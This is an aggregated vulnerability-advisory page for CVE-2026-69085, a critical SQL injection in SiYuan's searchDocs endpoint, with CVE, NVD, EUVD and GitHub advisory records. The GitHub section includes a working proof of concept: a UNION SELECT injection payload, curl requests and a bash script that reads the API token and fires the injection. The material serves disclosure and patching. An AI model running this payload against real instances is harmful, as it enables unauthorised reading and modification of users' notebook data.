SiYuan before v3.7.3 SQL Injection via searchDocs
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-69085
PublishedSiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.
- Source published
- 3 Aug 2026 13:20:40 UTC
- Source modified
- 14 Aug 2026 16:51:12 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 9.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
euvd · EUVD-2026-52278
PublishedSiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 3, 2026, 1:20:40 PM
dateUpdated: Aug 14, 2026, 4:51:12 PM
- Source published
- Aug 3, 2026, 1:20:40 PM (timezone not stated)
- Source modified
- Aug 14, 2026, 4:51:12 PM (timezone not stated)
- Saved here
- 15 Nov 2026 17:44:59 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 9.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
nvd · CVE-2026-69085
PublishedSiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-89
Original publisher date fields
published: 2026-08-03T14:16:28.820
lastModified: 2026-10-23T21:10:00.157
- Source published
- 3 Aug 2026 14:16:28 UTC
- Source modified
- 23 Oct 2026 21:10:00 UTC
- Saved here
- 25 Oct 2026 15:18:51 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 9.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
osv · GHSA-33jq-p8c2-q3q4
Published### Summary The `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance. ### Details Data flow, unescaped and unbound at every hop: - `searchDocs` (`kernel/api/filetree.go`): `k := arg["k"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization. - `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString("(hpath LIKE '%" + k + "%'")`. No escaping, no `''` doubling, no bind placeholder. - `NAMFilter` (`kernel/conf/search.go`): appends `" OR name LIKE '%" + keyword + "%'"` (and `alias`, `memo`) the same way, enabled by default. - `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `"SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …"` passed to `query(sqlStmt)`. The only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement. **Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them. **Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution. **Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped. ### Impact An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`). ## Root cause The keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding: - `SearchDocs` builds each condition as `(hpath LIKE '%<token>%' ...)` (`file.go:199`). - `NAMFilter` appends `OR name LIKE '%<token>%'`, `alias`, `memo` the same way (`search.go:135-142`). - `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n>` and calls `query()` (`block_query.go:74-75`). - `query()` calls `db.Query()` with **no** call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`). The only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize. ## Reachability / auth tier - Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`. - The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. - The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter. - Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded. ## Proof of concept (read-only discloses `sqlite_version()`) Demonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified. ### 1. Prerequisites - A local SiYuan kernel running (default `http://127.0.0.1:6806`). - The API token from **Settings > About > API token** (omit if no access-auth code is set). - One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`. ### 2. Why the payload is shaped this way - The kernel places the keyword as `hpath LIKE '%<K>%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`. - The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments. - `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field. ## 3. PoC 1. Open the web UI once (unlocks + ensures a notebook is open) 1. Browser > `http://127.0.0.1:6806` 2. Enter the access-auth code: `poctestcode` 3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click + > New notebook, name it anything, and make sure it's open (bold, not greyed). 2. Grab the API token ``` docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json TOKEN="paste_the_token_value_here" ``` 3. Get the open notebook's ID `curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN"` Copy an id whose "closed":false, then: `BOX_ID="paste_that_id_here"` 4. Build the request body ``` cat > body.json <<EOF {"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"} EOF ``` (The heredoc substitutes $BOX_ID for you, no manual editing.) 5. Fire the injection `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'` Expected: the SQLite version string, e.g. `"path":"3.45.1"`, proof the keyword was executed as SQL. Screenshot this for the advisory. 6. Confirm the row is genuinely injected (optional sanity check) Run the same request with a benign keyword and confirm no version appears: `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'` # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report. --- If Step 5 returns empty: 5. Fire the injection `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'` Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory. 6. Confirm the row is genuinely injected (optional sanity check) Run the same request with a benign keyword and confirm no version appears: `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'` # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report. Or you can use this script to do the whole process at once: ``` #!/usr/bin/env bash # # siyuan_sqli_poc.sh # Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing # sqlite_version() through the search response. Modifies NO data. set -u export MSYS_NO_PATHCONV=1 # stop Git Bash from mangling container-absolute paths # ---- config --------------------------------------------------------------- BASE="${BASE:-http://127.0.0.1:6806}" CONTAINER="${CONTAINER:-siyuan-poc}" CONF="/siyuan/workspace/conf/conf.json" # --------------------------------------------------------------------------- CONF="/siyuan/workspace/conf/conf.json" # --------------------------------------------------------------------------- say() { printf '\n\033[1m== %s\033[0m\n' "$*"; } ok() { printf '\033[32m[OK]\033[0m %s\n' "$*"; } warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; } die() { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; } # 1. container up? say "Checking container" docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \ || die "Container '$CONTAINER' is not running. Start it, then re-run." ok "container '$CONTAINER' is running" # 2. API alive? say "Waiting for kernel API" for i in $(seq 1 30); do if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then ok "API responding at $BASE"; break fi sleep 1 [ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run." done # 3. token from conf.json say "Reading API token" TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \ | grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \ | sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/') if [ -n "$TOKEN" ]; then ok "token found" AUTH=(-H "Authorization: Token $TOKEN") else warn "no token in conf.json (instance may not be initialized, or auth is disabled)." warn " -> open $BASE, enter the access code, let the UI load, then re-run." AUTH=() fi # 4. an OPEN notebook id say "Finding an open notebook" NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}") BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \ | grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/') [ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run. Raw: $NB" ok "using open notebook: $BOX_ID" # 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version()) say "Building request body" PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--" printf '{"k":"%s"}' "$PAYLOAD" > body.json ok "wrote body.json" # 6. fire the injection say "Sending injection" RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \ -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json) VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/') # 7. benign differential (must NOT return a version) BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \ -H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \ | grep -oE '"path":"[0-9][^"]*"' | head -1) # 8. verdict say "Result" if [ -n "$VER" ] && [ -z "$BENIGN" ]; then ok "SQL injection CONFIRMED" printf ' leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER" printf ' (benign keyword returned no version -> value came from injected SQL)\n' else warn "no version surfaced. Checking kernel log for the assembled statement..." docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build." warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook." printf ' raw response: %s\n' "$RESP" fi ``` `bash siyuan_sqli_poc.sh` <img width="809" height="376" alt="image" src="https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4" /> ### Suggested fix Parameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `'` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs > query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.
- Source published
- 1 Oct 2026 14:38:48 UTC
- Source modified
- 7 Oct 2026 17:55:40 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Publisher rating · CRITICAL
osv · GHSA-5w4j-hchp-r332
Withdrawn## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-33jq-p8c2-q3q4. This link is maintained to preserve external references. ## Original Description SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.CVE-2026-69085
- Source published
- 3 Aug 2026 15:32:48 UTC
- Source modified
- 1 Oct 2026 16:00:04 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Publisher rating · CRITICAL
osv · GO-2026-6621
PublishedSiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking in github.com/siyuan-note/siyuan/kernel
- Source published
- 7 Oct 2026 14:09:59 UTC
- Source modified
- 7 Oct 2026 17:45:14 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.